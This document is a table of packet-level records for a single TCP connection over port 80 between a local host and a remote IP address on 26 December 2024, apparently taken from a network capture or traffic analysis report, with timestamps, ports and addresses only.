Dec 26, 2024 12:52:11.576222897 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.576317072 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.576407909 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:11.577274084 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.577286005 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.577332973 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:11.577912092 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.578051090 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.578085899 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:11.578778028 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.578886986 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.579088926 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:11.579560995 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.583918095 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:11.745788097 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.745959044 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.746016979 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:11.746042967 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.746057034 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.746089935 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:11.746838093 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.746921062 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.746961117 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:11.747656107 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.747751951 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.747853041 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:11.748506069 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.748598099 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.748634100 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:11.749388933 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.749444962 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.749490976 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:11.750194073 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.750315905 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.750358105 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:11.751059055 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.751176119 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.751214027 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:11.751905918 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.752012968 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.752068043 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:11.752772093 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.752901077 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.752939939 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:11.753618956 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.753717899 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.753801107 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:11.754477024 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.754555941 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.754605055 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:11.755316973 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.755357981 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.755402088 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:11.756231070 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.756371975 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.756444931 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:11.757023096 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.757132053 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.757199049 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:11.757874966 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.757985115 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.758034945 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:11.758744001 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.758850098 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.759068012 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:11.759618044 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.759732008 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.759833097 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:11.760427952 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.760512114 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.760816097 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:11.761280060 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.761403084 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.761590004 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:11.762111902 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.762229919 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.762355089 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:11.762974024 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.763098001 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.763350964 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:11.763853073 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.764038086 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.764072895 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:11.764668941 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.764853001 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.764957905 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:11.765574932 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.765654087 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.765696049 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:11.766411066 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.766505957 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.766546011 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:11.767277956 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.767349005 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.767391920 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:11.768132925 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.768215895 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.768259048 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:11.768981934 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.769089937 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.769129038 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:11.769805908 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.769865990 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.769917965 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:11.770730019 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.770802021 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.770857096 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:11.771502018 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.771625996 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.771703959 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:11.772351980 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.772434950 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.772481918 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:11.773205996 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.773439884 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.773493052 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:11.774055004 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.774159908 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.774456024 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:11.774944067 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.775053978 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.775252104 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:11.775763988 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.775876045 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.776195049 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:11.776612997 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.776726961 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.776806116 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:11.777496099 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.777558088 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.777618885 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:11.778353930 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.778461933 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.778512955 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:11.779182911 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.779282093 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.779377937 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:11.780072927 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.780160904 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.780194044 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:11.780880928 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.781002045 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.781043053 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:11.781748056 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.781768084 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.781955957 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:11.782624006 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.782727003 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.782777071 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:11.783432007 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.783569098 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.783704042 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:11.784302950 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.784406900 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.784447908 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:11.785136938 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.785211086 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.785248995 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:11.786007881 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.786112070 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.786159039 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:11.786853075 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.786957979 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.787009001 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:11.787775040 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.787875891 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.788564920 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.788618088 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:11.788794041 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.789448977 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.789498091 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:11.789498091 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.790208101 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.790249109 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:11.794200897 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:11.956238985 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.956295013 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:11.956410885 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.956701994 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.956785917 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.956830978 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:11.957423925 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.957470894 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:11.957504988 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.958303928 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.958347082 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:11.958409071 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.959132910 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.959191084 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.959219933 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:11.959956884 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.960006952 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:11.960118055 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.960850954 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.960897923 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:11.960979939 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.961675882 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.961724043 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:11.961873055 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.962495089 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.962534904 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:11.962620974 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.963368893 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.963401079 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.963427067 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:11.964209080 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.964227915 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.964282990 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:11.965050936 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.965099096 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:11.965154886 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.965938091 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.965986013 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:11.966018915 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.966800928 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.966846943 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:11.966903925 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.967627048 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.967670918 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:11.967694044 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.968456984 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.968524933 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:11.968588114 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.969326019 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.969371080 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:11.969440937 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.970196962 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.970280886 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.970310926 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:11.971007109 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.971132994 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.971178055 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:11.971841097 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.971862078 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.971892118 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:11.972707987 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.972758055 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:11.972809076 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.973556042 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.973603964 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:11.973625898 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.974605083 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.974649906 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:11.974805117 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.975286007 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.975416899 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.975461960 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:11.976211071 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.976277113 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:11.976313114 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.977027893 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.977086067 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:11.977107048 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.977847099 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.977900982 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:11.978046894 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.978692055 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.978734016 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:11.978820086 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.979583979 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.979656935 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:11.979671001 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.980444908 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.980499983 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:11.980528116 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.981354952 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.981404066 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.981436968 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:11.982111931 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.982156992 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:11.982187033 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.983073950 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.983218908 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.983264923 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:11.983817101 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.983860970 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:11.983951092 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.984654903 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.984703064 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.984745979 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:11.985007048 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:11.985610008 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.985666990 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:11.985846996 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.986538887 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.986620903 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.986622095 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:11.987318993 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.987397909 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.987437963 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:11.988112926 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.988224983 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.988269091 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:11.988928080 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.988974094 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:11.989022970 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.989797115 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.989836931 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:11.989913940 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.990629911 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.990725994 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.990760088 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:11.991517067 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.991616011 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:11.991677046 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.992333889 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.992378950 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:11.992459059 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.993227005 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.993274927 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:11.993314028 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.994477034 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.994518995 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:11.994617939 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.994915009 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.994968891 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:11.994982958 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:11.995007038 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.995804071 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.995860100 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:11.995892048 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.996624947 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.996670008 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:11.996743917 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.997510910 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.997560024 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:11.997632980 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.998517036 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.998703957 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.998748064 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:11.999366999 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.999425888 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:11.999454975 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:12.000138044 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.000183105 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:12.000312090 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.000871897 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:12.000916958 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:12.028649092 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:12.036890984 CET	49842	80	192.168.2.6	185.215.113.16
